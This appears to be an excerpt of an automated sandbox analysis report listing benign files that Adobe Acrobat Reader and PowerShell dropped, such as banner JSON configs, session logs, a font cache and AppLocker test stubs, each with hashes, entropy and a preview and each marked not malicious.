Preview:	{"analyticsData":{"responseGUID":"410e5448-dc77-49f6-a07a-bb6b57601efe","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710392284,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.322867259963692
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUqE7DmHlZeWmSg1c2LjcWkHvR0YH2DoAvJfFldPeUkwRe9:YvXKXODmFAhT5LjIPzZGz8Ukee9
MD5:	5043BB83C08198B6DA8143649C7C70D5
SHA1:	F192CCEAE7435D6EB5AFE33F90E7BD45665E0397
SHA-256:	D0185DD8DCEDC5DBE7E7F81DFFE5F86C1FE1896EBDDB3007F8943D5EBAF35457
SHA-512:	2BD2E3F649F753374C80DF47553EB0F684DE9BC628F3D7E1A0E5B1B7022C6B3D969EDF260134C83AF5E3A8FF458A16CD0AF3D1B333429E6CF56A4F4EAF87A4A8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"410e5448-dc77-49f6-a07a-bb6b57601efe","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710392284,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.339212656301147
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUqE7DmHlZeWmSg1c2LjcWkHvR0YH2DoAvJfzdPeUkwRe9:YvXKXODmFAhT5LjIPzZGb8Ukee9
MD5:	E4D1CD353D8159CC40E676B089078458
SHA1:	CA93522DEC00796C9418E5C4935B067A6F81DFF7
SHA-256:	E9E6D0DB08D8414475115550115083F6B257AE9C1CFB081473D5ADB365D96461
SHA-512:	0A82E2B8804EA582E9BC534D2380612D0FD5948570FB268C2B47484DFA9175D303E26FDA3597C6D880011DBFD560F95CA63F1FFF55968BF52C29D3420B5E1C3B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"410e5448-dc77-49f6-a07a-bb6b57601efe","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710392284,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3202684897748185
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUqE7DmHlZeWmSg1c2LjcWkHvR0YH2DoAvJfYdPeUkwRe9:YvXKXODmFAhT5LjIPzZGg8Ukee9
MD5:	47AF3FB95D97CF43AD299B57FDCE804B
SHA1:	0EAF3AA9CCDD8CA354B97BC037B2A0D6E720DED3
SHA-256:	58BB744537760DF64BBE6E3B2465CA611B053E655247C37A71BCDF60945D5909
SHA-512:	BBBA5079A5E1DC2FA525FA45228CC26D8C4A50B9ADC2953A6ADA5422A586E4235C7AF8B56B515FC03B43CF8E7F21665D082BD5E0F601A773B4B752DE3A8D481E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"410e5448-dc77-49f6-a07a-bb6b57601efe","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710392284,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.307257055826864
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUqE7DmHlZeWmSg1c2LjcWkHvR0YH2DoAvJf+dPeUkwRe9:YvXKXODmFAhT5LjIPzZG28Ukee9
MD5:	009D0285E067F1B7F59C7C756A9A4B74
SHA1:	D5039211959867302718BA429FE50E1EAF5BAA01
SHA-256:	415755BDA5C45DF64015783166E145F9FC47A9C51F8EF8E2485D8E411F59BC34
SHA-512:	96553E8F0DD5F55DDF0C7875D075D0AA370EA5F99F6B323B462714853E59E9D34623CF12D1746B513EB491F76A9ADFA127C00FDD806D24E65E69224E9A1FC167
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"410e5448-dc77-49f6-a07a-bb6b57601efe","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710392284,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.303676285113461
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUqE7DmHlZeWmSg1c2LjcWkHvR0YH2DoAvJfbPtdPeUkwRe9:YvXKXODmFAhT5LjIPzZGDV8Ukee9
MD5:	2C4905F0251F3B17D46FBE6133240715
SHA1:	8E71BA921C6954DC3653FBAF073D63344484ED9F
SHA-256:	A93C2C1AD109EF0FA2B68DAECF1E69727A770A06C4BA6A7720BC36CFABAEF1DA
SHA-512:	5D7EE6AC19613062DE8F1E32CF1D04133F4B2EB97B45698EAEB2345AC97AFB4F2DD1247817F296130966B9172E5664FF6CA0E048024D9362754A1CC68062D367
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"410e5448-dc77-49f6-a07a-bb6b57601efe","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710392284,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.296031139405859
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUqE7DmHlZeWmSg1c2LjcWkHvR0YH2DoAvJf21rPeUkwRe9:YvXKXODmFAhT5LjIPzZG+16Ukee9
MD5:	AD11F9F5491672970D070283C910FB7F
SHA1:	9CE5291DADF19DC92BB6143A74923CF6F87301F2
SHA-256:	DEF8F938C05061A8BF5C0E8451C9650E06EE1A6703C68242FAB349A277BE37EC
SHA-512:	BC7B0364189193CF6E152C1D0CF1BCABC3AD99AEEF58EBC4EB61E69B8B604F21E22F711561DA9DC8D029CDC487A310CCA246149913EA84B6291570F108D64AAE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"410e5448-dc77-49f6-a07a-bb6b57601efe","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710392284,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.670261002294431
Encrypted:	false
SSDEEP:	24:Yv6XQhT5XIeamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSK1:YvVXHBgkDMUJUAh8cvME
MD5:	159B67C0C799D39460E40982C808F1FD
SHA1:	D02A180E58CC74A4C2E7C33EA1B4C6EF1DEDA48D
SHA-256:	7A9D932FFA442E50B038D8AA9F3B0BF1D7B0273AF4EFA77C45BD565C1C2EFC13
SHA-512:	59091930DA12F1B9B35B8CC93F0E15F254E6290F7463A5444255F0E6AE5E9593BD5FC4383873D5702C9BED6E3F29113C58BD0DFFDF695C7CD728B164EB975891
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"410e5448-dc77-49f6-a07a-bb6b57601efe","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710392284,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.27113559263698
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUqE7DmHlZeWmSg1c2LjcWkHvR0YH2DoAvJfshHHrPeUkwRe9:YvXKXODmFAhT5LjIPzZGUUUkee9
MD5:	5D3781A1AE9BCBE826A54732F14747CF
SHA1:	65933862D625A88C5184C1458EEFC8F0647BEA70
SHA-256:	4D0929FC57907EB133939FBEAD827F41A603BB2FD35CDE866760A529BA2A4AE8
SHA-512:	9AB589109C7F1315C148429CC1C82AE24395A5C0CA1686B0F6102C9A63759769DB61F740D17CF60895BF3F9FB781D4D7C1450D155105A37CC528FDDC4E32FEC0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"410e5448-dc77-49f6-a07a-bb6b57601efe","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710392284,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.275916855320416
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUqE7DmHlZeWmSg1c2LjcWkHvR0YH2DoAvJTqgFCrPeUkwRe9:YvXKXODmFAhT5LjIPzZGTq16Ukee9
MD5:	D394B6CED5AA0C456780005DA949F9DF
SHA1:	9592A73295E77063741E0611E5E628659FCCFF07
SHA-256:	C272452C5A4E3B1745768AEAC68A2C17C377A29D8EC444C95EE9E3506F7C443A
SHA-512:	0204CBD685EFBEAA5A9DD4B7B0820B9C4F8A97A2A2DEA1A86ECDB2A6AADC2E2EAF1A18B08788654FB5C3971F0D4B6E4DCF6CB917A3983E8A8C7F70641116C4BF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"410e5448-dc77-49f6-a07a-bb6b57601efe","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710392284,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139489096599281
Encrypted:	false
SSDEEP:	24:YD7nJalay04ihvx4XblynflhpHRafksvj+5Vj0SFn9J20srx2LSfCFiD+6Lnd+5o:YDrfh54xyn/pHAfHO1XItCii6LnUj9w
MD5:	AB3A15527632A65D3D570D493F39966B
SHA1:	2B3B3420FCB45C38F68F4E145DA2E5EAE2269BDC
SHA-256:	0B226EC4057994077ED42AEE76C25D31D94558515C0D7859B1B01DDD429610D9
SHA-512:	7521338DECCC70E3102625ADB3FE1A1E0B9905FD989355B119AD4C9F181FB37070F8AD9946DF6C2FD1493F41305E0E18BFB2FA7DBA56FCFB0D04C50FC2C73CB9
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"f4ce94525a49640d334a382325f761c1","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736532311000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"5300836b4ce0e2ca94b4b0826b11a7ed","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736532311000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"db088f909f6b8b74fc5d348ba957aca6","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736532311000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"0913d71a4a540f64cdb465ca965b924a","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736532311000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"c29cda30a0cf1cb4ad86b955d34beba6","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736532311000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"b5eba6465fb40cf41276937c67381a7f","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3653358954705201
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDuUQfXKdqEKfS8EKfM1baMQfF:Tll2GL7msMcKTlS8fcsuUQ0fIMQt
MD5:	903449EEC0B218986E1810739D0064AE
SHA1:	AEB18AD24A0537A9FBB1EBA09B6869BF2AAFC769
SHA-256:	266B882C0265C726038C96D6E96A714E22D0C7FC975E63FA13F8B9F2001EB90C
SHA-512:	35F1D29AD4B285D004E22799310F42EDC26B845F7F93674FA78C1F14990D8970907F4FD3329BE6C876BDAE0ECA44A02AC1C1432A89F30F46DB66D0E4AA1ACF30
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8417583835343678
Encrypted:	false
SSDEEP:	24:7+tBu9Z6bqyKn6ylSTofcNqDuUQf+KdqEKfS8EKfM1banbqBqLKufx/XYKQvGJFU:7MBEcKTlS8fcsuUQNfI8qGufl2GL7msk
MD5:	552ADFCB9DA9586A0C60EED10C4B7836
SHA1:	816807A2EF4CED521231A8C178C87B2C271FEE16
SHA-256:	8D01ABAE71B3947BE662CD18F602163975FC38A805BA68FB6B23542D1685D627
SHA-512:	3E549522DEF8B4760B34681F17114BDCF8DE0EA62BC701E33177C64CB900174EA80F3A005B57542AD76C67C2610886F68F7A14CEEAC49C5AC49C58388FF5D5BA
Malicious:	false
Preview:	.... .c.......op..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgscN4xVBRxfR6+Kr91QJkw2zcU0gYyu:6a6TZ44ADEscNcVBRxfUDr91MsK
MD5:	B8C62846FB1E1A94003013094B23C78E
SHA1:	44C00BF1F37E06A514085A7F8A2DC4245AD0F417
SHA-256:	2A2B1515D902EA9B8A269FC5A963C86F53C9DDA6955BFB19CA9E8A1626AF622E
SHA-512:	BCEFEFF861671BE36B216F6B48661B70057F5290A867DF8F7549146AC628E015AB10A7E0F0021328533F29AE7BC8D53852BCC69E8E674955F4CEC0669C675517
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIf5008.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClETlNPUww:Qw946cPbiOxDlbYnuRK+bDTfK
MD5:	06EB0F0150C803828B0A879CBF348699
SHA1:	F94DD2AD60809479E9E6DEDEC4DE6DC527390248
SHA-256:	041BA277D7B530B3C1B9A857445434D647C23181A1C222CD72F0372BE574C8AA
SHA-512:	58A9DB789329CF1CFC1760559D00FA20848961722FF990C3A0002DE7BA4213419AC87A62550F4F716C79EF025B22D274CFF9966BF6F8832BE0DCE15C9309EB2B
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.0.5.:.0.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5jm42ygv.pzt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yh24mdhx.gt2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-05-03-756.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.333384883485123
Encrypted:	false
SSDEEP:	384:Q8QJxx8kaYj31FzR67UXE2kN25WUSccHbg3BaCwc9SC8+5qjBQ8PRMRfSwSEliqU:AB2
MD5:	6C4BF2807BB935313EAEC6FAC325C163
SHA1:	B957AFFC5EAD3790A01B5DB81B0932CE9E52A1E7
SHA-256:	A86E0949C10A5C57C12754660E87283D6AA8E5CA4C1C50DC63D0952E26290816
SHA-512:	EE557297735CF06A8244A15FE56CB10B984B66C774EE3C4E6CB0BEABC9EC513212403257704051E7C2D1865C4939FF993B3556E6A4CF9D570081E80529130DBB
Malicious:	false
Preview:	SessionID=9c02e902-0aad-4a77-9016-6fe0bdf4c38f.1736532303780 Timestamp=2025-01-10T13:05:03:780-0500 ThreadID=7132 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=9c02e902-0aad-4a77-9016-6fe0bdf4c38f.1736532303780 Timestamp=2025-01-10T13:05:03:782-0500 ThreadID=7132 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=9c02e902-0aad-4a77-9016-6fe0bdf4c38f.1736532303780 Timestamp=2025-01-10T13:05:03:782-0500 ThreadID=7132 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=9c02e902-0aad-4a77-9016-6fe0bdf4c38f.1736532303780 Timestamp=2025-01-10T13:05:03:782-0500 ThreadID=7132 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=9c02e902-0aad-4a77-9016-6fe0bdf4c38f.1736532303780 Timestamp=2025-01-10T13:05:03:783-0500 ThreadID=7132 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.373348982339927
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmLQcbx0IQCcbp:8qnXopZ50rfPBQB
MD5:	EAF844A344E5E2AB7647E0EBCDF16A67
SHA1:	81BA56285EDD69837FE713A0F2C53399826BE0C7
SHA-256:	B9DB4BE1A17C39DBA7B9BF52C13C67D6696B64A24D72D48F3E91442BBAFC877E
SHA-512:	6C58E3667F7AA6A98E38C573E616C4FEEC731369D62F3E4EBE9CAB56D05203132368DD1FF4FA296D3BD3DABD930E1B887688C1F8A3F1814EFE49D4B5F1E1E071
Malicious:	false
